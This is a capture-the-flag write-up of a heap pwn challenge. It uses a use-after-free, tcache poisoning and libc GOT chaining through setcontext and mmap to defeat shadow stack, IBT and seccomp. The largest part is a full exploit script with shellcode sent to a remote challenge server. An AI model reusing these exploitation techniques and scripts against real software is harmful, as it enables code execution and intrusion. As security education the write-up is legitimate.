LeapFrog is a pwn challenge from Team USA qualifier ctf made by lms57. This challenge is similar to [[Jump Planner (libc GOT chaining) - Battelle Shmoocon CTF 2024]] except that jump planner was only about defeating shadow stack, LeapFrog we need to overcome both shadow stack and indirect branch tracking (ibt).
The binary has a simple menu and uses glibc 2.39.
```c
00001523 int32_t main()
00001548 setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)
00001566 setvbuf(fp: __bss_start, buf: nullptr, mode: 2, size: 0)
00001584 setvbuf(fp: stderr, buf: nullptr, mode: 2, size: 0)
0000158e filter()
000015ac printf(format: "Hello World: %p\n", system)
00001523
000015b6 while (true) {
000015b6 print_menu()
000015c5 int32_t rax_3 = get_int(s: "Choice: ")
000015b6
000015d1 if (rax_3 == 4) {
0000161c print()
000015d1 } else {
000015d7 if (rax_3 s> 4)
000015d7 break
000015d7
000015dd if (rax_3 == 3) {
00001610 delete()
000015dd } else {
000015e3 if (rax_3 s> 3)
000015e3 break
000015e3
000015e9 if (rax_3 == 1) {
000015f8 create()
000015e9 } else {
000015ef if (rax_3 != 2)
000015ef break
000015ef
00001604 edit()
000015e9 }
000015dd }
000015d1 }
000015b6 }
00001523
00001628 exit(status: 0)
00001628 noreturn
```
There is also seccomp rules:
```c
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0003: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0005
0004: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0005: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0007
0006: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
```
# Vulnerability
```c
00001320 int64_t create()
00001336 int32_t rax = get_int(s: "Index: ")
00001348 int32_t result = get_int(s: "Size: ")
00001374 items[sx.q(rax)] = malloc(bytes: sx.q(result))
0000138f sizes[sx.q(rax)] = result
00001394 return result
00001395 ssize_t edit()
000013ab int32_t rax = get_int(s: "Index: ")
000013c2 printf(format: "Data: ")
00001408 return read(fd: 0, buf: items[sx.q(rax)], nbytes: sx.q(sizes[sx.q(rax)]))
00001409 int64_t delete()
00001449 return free(mem: items[sx.q(get_int(s: "Index: "))])
0000144a ssize_t print()
00001460 int32_t rax = get_int(s: "Index: ")
00001477 printf(format: "Data: ")
000014bd return write(fd: 1, buf: items[sx.q(rax)], nbytes: sx.q(sizes[sx.q(rax)]))
```
There is a UAF since there are no checks once an item is free'd so you can edit a free'd chunk.
## leak libc
We are given a free libc leak in the beginning of main, where it prints the address of `system`.
```python
# free libc
io.readuntil(b"World: ")
leak = int(io.readline(False),16)
libc.address = leak - libc.symbols['system']
print(b"LIBC:",hex(libc.address))
```
## leak heap
To leak heap, we can free two chunks and the view the first one. This will give us the `heap key` which is just the `heap address >> 12`. We need this value to bypass safe linking.
```python
# leak heap
create(0,0x1f0)
create(1,0x1f0)
delete(0)
delete(1)
_print(0)
io.readuntil(b"Data: ")
heap_key = u64(io.readn(8))
print(b"Heap key:", hex(heap_key))
```
## arb write
With the UAF we can do tcache poisoning to get an arbitrary write.
Since we are going to be libc got chaining, I just decided to do an arbitrary write over the entire libc got at one time by allocating a chunk at the beginning of the `.got.plt`
```python
#target .got.plt
got_plt_index = 3
target = libc.address+0x1d7000
edit(1,p64(target^heap_key))
create(2,0x1f0)
create(got_plt_index,0x1f0)
```
# Exploit
To help easily write over different libc GOT entries, I wrote a little binja script to create a dictionary for each entry, I also pair this with a dynamic dump of the current GOT state since when overwriting the entire GOT, I don't want to corrupt entries I am not touching.
```python
class LIBCGOT:
def __init__(self,path,base):
f= open("pre_got.bin","rb") # binjas values are wrong, dump from gdb
self.bv = load_bv(path,options={"analysis.mode":"controlFlow","loader.imageBase":base})
self.section_start = self.bv.get_section_by_name(".got.plt").start+0x18
self.section_end = self.bv.get_section_by_name(".got.plt").end
self.got_values = OrderedDict()
self.base = base
curr_addr = self.section_start
while curr_addr < self.section_end:
dv = self.bv.get_data_var_at(curr_addr)
value = u64(f.read(8))-0x7f44f814e000
if dv.name is None and self.bv.get_symbol_at(dv.value).name is not None:
if self.bv.get_symbol_at(dv.value).name in self.got_values.keys():
self.got_values[self.bv.get_symbol_at(dv.value).name+"2"] = value+self.base
else:
self.got_values[self.bv.get_symbol_at(dv.value).name] = value+self.base
else:
self.got_values[dv.name] = dv.value
curr_addr += 8
def __getitem__(self,key):
return self.got_values[key]
def __setitem__(self,key,value):
self.got_values[key]=value
def __bytes__(self):
p = b""
for key,value in self.got_values.items():
p += p64(value)
return p
```
Since there are seccomp rules, we cant just call system or one_gadget and win. My solution was to get to a point where I can write and execute shellcode and do an Open-Read-Write payload to read the flag. To do this, I decided to mmap a RWX page and write shellcode there and jump to it.
## get rdi control
By overwriting a libc got entry with something I control, I can redirect PC to anywhere I want, however, I need to be able to control registers so I can call mmap.
To find places where the binary calls a libc got entry on an address that is user controlled, I wrote a very quick and dirty script.
```python
target_funcs = [bv.get_function_at(func.address) for func in bv.get_symbols_of_type(SymbolType.FunctionSymbol) if func.name.startswith("jump__")]
for target_func in target_funcs:
target_func.type = Type.function(None, [Type.pointer(bv.arch, Type.char())])
bv.update_analysis_and_wait()
for ref in bv.get_code_refs(target_func.start):
if ref.function.analysis_skipped == False and ref.hlil is not None:
hlil_call = list(ref.hlil.traverse(lambda a: a if isinstance(a,highlevelil.HighLevelILCall) else None))
if len(hlil_call)>0:
param = hlil_call[0].params[0]
hlil_vars = list(param.traverse(lambda a: a if isinstance(a,highlevelil.HighLevelILVar) else None))
for hlil_var in hlil_vars:
for var_ref in ref.function.get_hlil_var_refs(hlil_var.var):
if var_ref.expr_id< ref.hlil.instr_index:
var_hlil = ref.function.hlil[var_ref.expr_id]
if isinstance(var_hlil,highlevelil.HighLevelILVarInit) or isinstance(var_hlil,highlevelil.HighLevelILAssign) and str(var_hlil.dest) == str(hlil_var):
dest = list(var_hlil.src.traverse(lambda a: a if isinstance(a,highlevelil.HighLevelILConstPtr) else None))
if len(dest)>0:
section = bv.get_sections_at(dest[0].constant)
if len(section)>0 and section[0].semantics == SectionSemantics.ReadWriteDataSectionSemantics:
print("BEST", hex(ref.address),ref.function.hlil[var_ref.expr_id])
```
This will iterate through all the libc GOT entries, set their function signature to take 1 parameter and then iterate through each, looking for a place where it calls an entry with a pointer that is in Read-Write section.
This gave several potential results:
```python
[Default] BEST 0x52c4a result_1 = &name
[Default] BEST 0x352e9 _nl_current_default_domain_1 = _nl_current_default_domain
[Default] BEST 0xca2be uint64_t zone_names_1 = zone_names
[Default] BEST 0x27c17 uint64_t __gconv_path_envvar_1 = __gconv_path_envvar
[Default] BEST 0x32ced rbp_1 = *(&data_1d8620 + (i << 3))
[Default] BEST 0xf2964 s_4 = *(__libc_argv + 8)
[Default] BEST 0xf2964 s_4 = *(__libc_argv + (rax_33 << 3))
[Default] BEST 0xf2d87 char* str_5 = *(__libc_argv + 8)
[Default] BEST 0xf2fca s_4 = *(__libc_argv + 8)
[Default] BEST 0xf2fca s_4 = *(__libc_argv + (rax_33 << 3))
[Default] BEST 0xf34fd s_4 = *(__libc_argv + 8)
[Default] BEST 0xf34fd s_4 = *(__libc_argv + (rax_33 << 3))
[Default] BEST 0x37659 uint64_t string_space_1 = string_space
[Default] BEST 0x37659 uint64_t string_space_act_1 = string_space_act
[Default] BEST 0x3767d uint64_t string_space_1 = string_space
[Default] BEST 0xfbf71 char* old_file_name_1 = old_file_name
[Default] BEST 0x35279 _nl_current_default_domain_1 = _nl_current_default_domain
[Default] BEST 0x15038b uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503a2 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503a2 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503bc uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503bc __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503bc __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503d6 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503d6 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503d6 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x1503d6 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fde9 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe00 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe00 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe1a uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe1a __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe1a __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe34 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe34 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe34 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x14fe34 __libc_utmp_file_name_1 = __libc_utmp_file_name
[Default] BEST 0x32d20 rbp_1 = *(&data_1d8620 + (i << 3))
```
The function I picked was `__libc_setutent`
```c
0014fdc0 int __libc_setutent()
0014fdd2 uint32_t rax_6
0014fdd2 int64_t result
0014fdc0
0014fdd2 if (file_fd s< 0) {
0014fdd8 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
0014fde9 int32_t rax_1 = jump___GI_strcmp(__libc_utmp_file_name_1)
```
Here it calls `strcmp` with `__libc_utmp_file_name`
![[Pasted image 20240609173116.png]]
`__libc_utmp_file_name` is in the `.data` section that is writable and contains a pointer I can overwrite.
So by writing to `strcmp GOT entry` and `__libc_utmp_file_name`, I can control RIP and RDI. However, since seccomp and the fact that we want to call mmap, we need more register control.
## get more register control
The `__setcontext` function is one that hackers use to load registers relative to `rdi`.
![[Pasted image 20240609175451.png]]
At this point we need to write out ucontext payload to a place in memory and then call setcontext with rdi pointing to that region.
I ripped the ucontext function from `pepsipu` (https://hackmd.io/@pepsipu/SyqPbk94a?utm_source=preview-mode&utm_medium=rec)
```python
#https://hackmd.io/@pepsipu/SyqPbk94a?utm_source=preview-mode&utm_medium=rec
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x220)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
```
Here, I use the arb write to get a heap pointer in the bss `libc.bss(0x2000)` where we will write ucontext payload, and then also a heap chunk at `__libc_utmp_file_name` to ovewrite that pointer to point to the heap chunk.
```python
# get chunk onto bss
ucontext_data = libc.bss(0x2000)
ucontext_data_index = 7
create(4,0x230)
create(5,0x230)
delete(4)
delete(5)
target = ucontext_data
edit(5,p64(target^heap_key))
create(6,0x230)
create(ucontext_data_index,0x230) # points in bss)
# write setcontext to __libc_utmp_file_name
__libc_utmp_file_name=libc.address+0x1d8590
__libc_utmp_file_name_path_index = 9
create(8,0x360)
create(9,0x360)
delete(8)
delete(9)
target = __libc_utmp_file_name
edit(9,p64(target^heap_key))
create(8,0x360)
create(__libc_utmp_file_name_path_index,0x360) # idx 9 now points into __libc_utmp_file_name
```
The edit to the ucontext data chunk is where we can store the setcontext data. At this point I dont set any register values.
The edit to the heap chunk pointing to `__libc_utmp_file_name` will overwrite the old `__libc_utmp_file_name` with the pointer in bss with the ucontext data. NOTE: I add 8 A's to the beginning of setcontext payload just to show we control rdi.
```python
setcontext_payload = b"A"*0x8
setcontext_payload += create_ucontext()
edit(ucontext_data_index,setcontext_payload) #store payload in bss
__libc_utmp_file_name_path = p64(ucontext_data) # ucontext here
edit(__libc_utmp_file_name_path_index,__libc_utmp_file_name_path)
```
To trigger this chain we can start overwriting GOT entries. I chose `__strchrnul` entry to kick off the chain. This will load the `__libc_utmp_file_name` pointer into rdi and call `strcmp` got entry.
```python
# start chain
libc_got['__strchrnul_ifunc'] = libc.symbols['__libc_setutent'] # -> strcmp
'''
0014fdc0 int __libc_setutent()
0014fdd2 uint32_t rax_6
0014fdd2 int64_t result
0014fdd2 if (file_fd s< 0) {
0014fdd8 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
0014fde9 int32_t rax_1 = jump___GI_strcmp(__libc_utmp_file_name_1)
'''
libc_got['strcmp_ifunc'] = 0x4141414141414141
```
By overwriting strcmp we can crash gdb to confirm that at the time strcmp gets called we control rdi.
![[Pasted image 20240609181517.png]]
We still would need to continue the libc got chain so we cant just overwrite strcmp with mmap. We would have no way to then read sc into that mmaped address.
In the Jump Planner writeup, I talk about `double calls`, these are calls that have 2 calls to libc got entries close enough that the registers you dont want clobbered, dont get clobbered.
I found the function`__wcscat_generic` to be a good `double call`. This allows us to overwrite `___wcslen` to `setcontext` and after setcontext is called `__wcscpy` is called. Then we chain it with our next `double call` at `__wcpncpy_generic`
```python
libc_got['strcmp_ifunc'] = __wcscat_generic # -> wcscpy
'''
000c4b20 int* __wcscat_generic(int* dest, int const* src)
000c4b3c jump___GI___wcscpy(&dest[jump___wcslen_ifunc(dest)], src)
'''
libc_got['__wcslen_ifunc'] = libc.symbols['setcontext']
libc_got['__wcscpy_ifunc'] = __wcpncpy_generic # -> wmemcpy
'''
000c4ab0 void* __wcpncpy_generic(int* dest, int const* src, long unsigned int n)
000c4acd long unsigned int n_1 = jump___wcsnlen_ifunc(src, n)
000c4ade __wmemcpy(s1: dest, s2: src, n: n_1)
'''
```
## map rwx
So now we can call `setcontext` with `rdi` controlled and then continue on out GOT chain.
The registers we want to control to call mmap are the following:
```python
setcontext_payload = b""
setcontext_payload += create_ucontext(src=libc.bss(0x500),
rsp=libc.bss(0x500),
rbp=0x1337000, # actually rsi
rsi=0x1337000,
rdx=7,
rcx=0x31,
rbx=0x1337000,
rip=__wcscat_generic+0x15)
```
`src` just needs to be a valid address that can dereferenced. `rsp` is set to a valid read-write area. We also have to look more deep into the `__wcscat_generic` and `__wcpncpy_generic` double call gadgets. we also have to set `rip` to `__wcscat_generic+0x15` because we have to keep the shadow stack happy by returning back to the address after the last call.
![[Pasted image 20240609183110.png]]
Here we can see that before jumping to `wcscpy`, `rsi` is set from `rbp`.
![[Pasted image 20240609183001.png]]
And in `__wcpncpy_generic`, `rdi` is set from `r13` which is also coming from `rsi`. We then set rdx to 7 for a `rwx` memory region because `rdx` sets `rsi`. `rdx` is untouched so `rdx` is also 7. `rcx` holds the mmap flags we we just set to 0x31. The call to `mmap` would look like `mmap(0x1337000,7,7,0x31,0,0);`since the length is 7, mmap will map at least 1 page so the real mapped size is 0x1000.
To now call mmap and contonue the chain we ovewrite `__wcsnlen` and `memcpy` because `__wmemcpy` calls `memcpy`.
![[Pasted image 20240609183839.png]]
```python
libc_got['__wcsnlen_ifunc'] = libc.symbols['mmap']
libc_got['__new_memcpy_ifunc'] = 0x4141414141414141
```
We can see the mmap works and we have a rwx page at `0x1337000`
![[Pasted image 20240609184113.png]]
## read sc to rwx
The next double gadget I used `putenv`
```python
libc_got['__new_memcpy_ifunc'] = putenv # strndup calls strnlen
'''
0003e810 uint64_t putenv(char* string)
0003e829 int64_t rax = jump___GI_strchr(string, 0x3d)
0003e831 if (rax == 0) {
0003e8a3 __unsetenv(name: string)
0003e8b4 return 0
0003e831 }
0003e833 void* n = rax - string
0003e856 uint64_t result
0003e856 if (n + 1 u<= 0x1000 || __libc_alloca_cutoff(size: n + 1) != 0) {
0003e858 int64_t rax_2 = jump___GI___strnlen(string, n)
0003e873 void var_38
0003e873 void* rdi_3 = (&var_38 - ((rax_2 + 0x18) & 0xfffffffffffffff0) + 0xf) & 0xfffffffffffffff0
0003e877 *(rdi_3 + rax_2) = 0
0003e88d result = __add_to_environ(name: jump___GI_memcpy(rdi_3, string, rax_2), value: nullptr, combined: string, replace: 1)
0003e856 } else {
0003e8b5 char* name = __strndup(s: string, n)
'''
```
This calls `strchr` which we can overwrite and then `__strnlen` which we use to continue chain.
`rdi` still holds the address we just mapped so we can overwrite `strchr` to `gets` to read shellcode to that mapped address. However for some reason, calling gets reads just a newline, probably bad buffering on me, so i just need to find another gadget to call gets again. The next double call gadget I use is `__memccpy`
```c
'''
0009e570 void* __memccpy(void* dest, void const* src, int c, long unsigned int n)
0009e589 int64_t rax = jump___GI_memchr(src, zx.q(c), n)
0009e591 if (rax == 0) {
0009e5b9 jump___GI_memcpy(dest, src, n)
0009e5c4 return 0
0009e591 }
0009e5a4 return jump___GI_mempcpy(dest, src, rax - src + 1) __tailcall
'''
```
However, this double call calls `memchr` with `src` as the first argument and that is the second argument to the function, so I need 1 gadget in between to swap `rdi` and `rsi`. This doesnt have to be a double call gadget because we arent looking to throw in a separate call in between.
Using the libc got chain gadget finder explained in Jump Planner, I found:
![[Pasted image 20240609184942.png]]
```python
libc_got['strchr_ifunc'] = libc.symbols['gets'] #flush
libc_got['__strnlen_ifunc'] = swap_rdi_rsi # -> memmove
libc_got['memchr_ifunc'] = libc.symbols['gets']
'''
0009e150 int64_t bcopy(void const* src, void* dest, long unsigned int len)
0009e15d return jump___GI_memmove(dest, src) __tailcall
'''
libc_got['__libc_memmove_ifunc'] = __memccpy # mempcpy
'''
0009e570 void* __memccpy(void* dest, void const* src, int c, long unsigned int n)
0009e589 int64_t rax = jump___GI_memchr(src, zx.q(c), n)
0009e591 if (rax == 0) {
0009e5b9 jump___GI_memcpy(dest, src, n)
0009e5c4 return 0
0009e591 }
0009e5a4 return jump___GI_mempcpy(dest, src, rax - src + 1) __tailcall
'''
```
Now, we should have `gets` called into the mmapped address and we just need to jump to that address.
```python
libc_got['__mempcpy_ifunc'] = 0x000001337000 # jump to shellcode
```
## trigger exploit
Now that we have the chain mapped out, we just need to do the actual GOT overwrite by editing the chunk we have placed at the beginning of `.got.plt` in libc and then when `gets` is waiting for user input we send our shellcode. Note, we have to start our shellcode with `endbr64` otherwise we trip up `ibt`.
```python
#start got_chain
edit(got_plt_index,bytes(libc_got))
sc = asm("endbr64") #ibt happy
sc += asm(pwnlib.shellcraft.amd64.linux.cat("/flag.txt"))
io.sendlineafter(b"Exit",sc)
io.interactive()
```
# Solve
Sending the full solve script to the remote server gets us the flag.
```python
from pwn import *
from binaryninja import load as load_bv
from collections import OrderedDict
context.binary = elf = ELF("./chall")
libc = elf.libc
# helper to easily choose which got entry to control
class LIBCGOT:
def __init__(self,path,base):
f= open("pre_got.bin","rb") # binjas values are wrong, dump from gdb
self.bv = load_bv(path,options={"analysis.mode":"controlFlow","loader.imageBase":base})
self.section_start = self.bv.get_section_by_name(".got.plt").start+0x18
self.section_end = self.bv.get_section_by_name(".got.plt").end
self.got_values = OrderedDict()
self.base = base
curr_addr = self.section_start
while curr_addr < self.section_end:
dv = self.bv.get_data_var_at(curr_addr)
value = u64(f.read(8))-0x7f44f814e000
if dv.name is None and self.bv.get_symbol_at(dv.value).name is not None:
if self.bv.get_symbol_at(dv.value).name in self.got_values.keys():
self.got_values[self.bv.get_symbol_at(dv.value).name+"2"] = value+self.base
else:
self.got_values[self.bv.get_symbol_at(dv.value).name] = value+self.base
else:
self.got_values[dv.name] = dv.value
curr_addr += 8
def __getitem__(self,key):
return self.got_values[key]
def __setitem__(self,key,value):
self.got_values[key]=value
def __bytes__(self):
p = b""
for key,value in self.got_values.items():
p += p64(value)
return p
# io = elf.process()
# gdb.attach(io)
io = remote("0.cloud.chals.io", 33799)
# io = process("./run.sh",shell=True)
def create(i,s):
io.sendlineafter(b"Choice: ",b"1")
io.sendlineafter(b"Index: ",str(i).encode())
io.sendlineafter(b"Size: ",str(s).encode())
def edit(i,d):
io.sendlineafter(b"Choice: ",b"2")
io.sendlineafter(b"Index: ",str(i).encode())
io.sendafter(b"Data: ",d)
def delete(i):
io.sendlineafter(b"Choice: ",b"3")
io.sendlineafter(b"Index: ",str(i).encode())
def _print(i):
io.sendlineafter(b"Choice: ",b"4")
io.sendlineafter(b"Index: ",str(i).encode())
# free libc
io.readuntil(b"World: ")
leak = int(io.readline(False),16)
libc.address = leak - libc.symbols['system']
libc_got = LIBCGOT(libc.path,libc.address)
print(b"LIBC:",hex(libc.address))
# leak heap
create(0,0x1f0)
create(1,0x1f0)
delete(0)
delete(1)
_print(0)
io.readuntil(b"Data: ")
heap_key = u64(io.readn(8))
print(b"Heap key:", hex(heap_key))
#target .got.plt
got_plt_index = 3
target = libc.address+0x1d7000
edit(1,p64(target^heap_key))
create(2,0x1f0)
create(got_plt_index,0x1f0)
# get chunk onto bss
ucontext_data = libc.bss(0x2000)
ucontext_data_index = 7
create(4,0x230)
create(5,0x230)
delete(4)
delete(5)
target = ucontext_data
edit(5,p64(target^heap_key))
create(6,0x230)
create(ucontext_data_index,0x230) # points to libc envion (in bss)
# write setcontext to __libc_utmp_file_name
__libc_utmp_file_name=libc.address+0x1d8590
__libc_utmp_file_name_path_index = 9
create(8,0x360)
create(9,0x360)
delete(8)
delete(9)
target = __libc_utmp_file_name
edit(9,p64(target^heap_key))
create(8,0x360)
create(__libc_utmp_file_name_path_index,0x360) # idx 9 now points into __libc_utmp_file_name
#https://hackmd.io/@pepsipu/SyqPbk94a?utm_source=preview-mode&utm_medium=rec
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x220)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
__wcpncpy_generic = libc.address+0xc4ab0#: endbr64 ; push r12; mov r12, rdi; mov rdi, rsi; push rbp; mov rbp, rsi; push rbx; call jump___wcslen_ifunc;
__wcscat_generic = libc.address+0xc4b20#: endbr64 ; push rbp; mov rbp, rsi; push rbx; mov rbx, rdi; sub rsp, 0x8; call sub_246b0; mov rsi, rbp; lea rdi, [rbx+rax*4]; call jump___GI___wcscpy;
putenv =libc.address+0x3e810
__memccpy = libc.address+0x9e570
swap_rdi_rsi = libc.address+0x9e150#: endbr64 ; mov rax, rdi; mov rdi, rsi; mov rsi, rax; jmp jump___GI_memmove;
setcontext_payload = b""
setcontext_payload += create_ucontext(src=libc.bss(0x500),
rsp=libc.bss(0x500),
rbp=0x1337000, # actually rsi
rsi=0x1337000,
rdx=7,
rcx=0x31,
rbx=0x1337000,
rip=__wcscat_generic+0x15)
edit(ucontext_data_index,setcontext_payload) #store payload in bss
#write setcontext to __libc_utmp_file_name to point to bss where setcontext payload is stored
__libc_utmp_file_name_path = p64(ucontext_data) # ucontext here
edit(__libc_utmp_file_name_path_index,__libc_utmp_file_name_path)
# start chain
libc_got['__strchrnul_ifunc'] = libc.symbols['__libc_setutent'] # -> strcmp
'''
0014fdc0 int __libc_setutent()
0014fdd2 uint32_t rax_6
0014fdd2 int64_t result
0014fdd2 if (file_fd s< 0) {
0014fdd8 uint64_t __libc_utmp_file_name_1 = __libc_utmp_file_name
0014fde9 int32_t rax_1 = jump___GI_strcmp(__libc_utmp_file_name_1)
'''
libc_got['strcmp_ifunc'] = __wcscat_generic # -> wcscpy
'''
000c4b20 int* __wcscat_generic(int* dest, int const* src)
000c4b3c jump___GI___wcscpy(&dest[jump___wcslen_ifunc(dest)], src)
'''
libc_got['__wcslen_ifunc'] = libc.symbols['setcontext']
libc_got['__wcscpy_ifunc'] = __wcpncpy_generic # -> wmemcpy
'''
000c4ab0 void* __wcpncpy_generic(int* dest, int const* src, long unsigned int n)
000c4acd long unsigned int n_1 = jump___wcsnlen_ifunc(src, n)
000c4ade __wmemcpy(s1: dest, s2: src, n: n_1)
'''
libc_got['__wcsnlen_ifunc'] = libc.symbols['mmap']
libc_got['__new_memcpy_ifunc'] = putenv # strndup calls strnlen
'''
0003e810 uint64_t putenv(char* string)
0003e829 int64_t rax = jump___GI_strchr(string, 0x3d)
0003e831 if (rax == 0) {
0003e8a3 __unsetenv(name: string)
0003e8b4 return 0
0003e831 }
0003e833 void* n = rax - string
0003e856 uint64_t result
0003e856 if (n + 1 u<= 0x1000 || __libc_alloca_cutoff(size: n + 1) != 0) {
0003e858 int64_t rax_2 = jump___GI___strnlen(string, n)
0003e873 void var_38
0003e873 void* rdi_3 = (&var_38 - ((rax_2 + 0x18) & 0xfffffffffffffff0) + 0xf) & 0xfffffffffffffff0
0003e877 *(rdi_3 + rax_2) = 0
0003e88d result = __add_to_environ(name: jump___GI_memcpy(rdi_3, string, rax_2), value: nullptr, combined: string, replace: 1)
0003e856 } else {
0003e8b5 char* name = __strndup(s: string, n)
'''
libc_got['strchr_ifunc'] = libc.symbols['gets'] #flush
libc_got['__strnlen_ifunc'] = swap_rdi_rsi # -> memmove
'''
0009e150 int64_t bcopy(void const* src, void* dest, long unsigned int len)
0009e15d return jump___GI_memmove(dest, src) __tailcall
'''
libc_got['__libc_memmove_ifunc'] = __memccpy # mempcpy
'''
0009e570 void* __memccpy(void* dest, void const* src, int c, long unsigned int n)
0009e589 int64_t rax = jump___GI_memchr(src, zx.q(c), n)
0009e591 if (rax == 0) {
0009e5b9 jump___GI_memcpy(dest, src, n)
0009e5c4 return 0
0009e591 }
0009e5a4 return jump___GI_mempcpy(dest, src, rax - src + 1) __tailcall
'''
libc_got['__mempcpy_ifunc'] = 0x000001337000 # jump to shellcode
libc_got['memchr_ifunc'] = libc.symbols['gets']
#start got_chain
edit(got_plt_index,bytes(libc_got))
sc = asm("endbr64") #ibt happy
sc += asm(pwnlib.shellcraft.amd64.linux.cat("/flag.txt"))
io.sendlineafter(b"Exit",sc)
io.interactive()
```
## FLAG
![[Pasted image 20240609185554.png]]
# Notes
Thanks lms57 for great challenge!
There is cheese to this challenge:
![[Pasted image 20240609185816.png]]
In qemu, seccomp is not implemented, compared to running outside of qemu.
![[Pasted image 20240609190032.png]]
SOOOO can just overwrite a libc got entry with a onegadget or system with bin sh.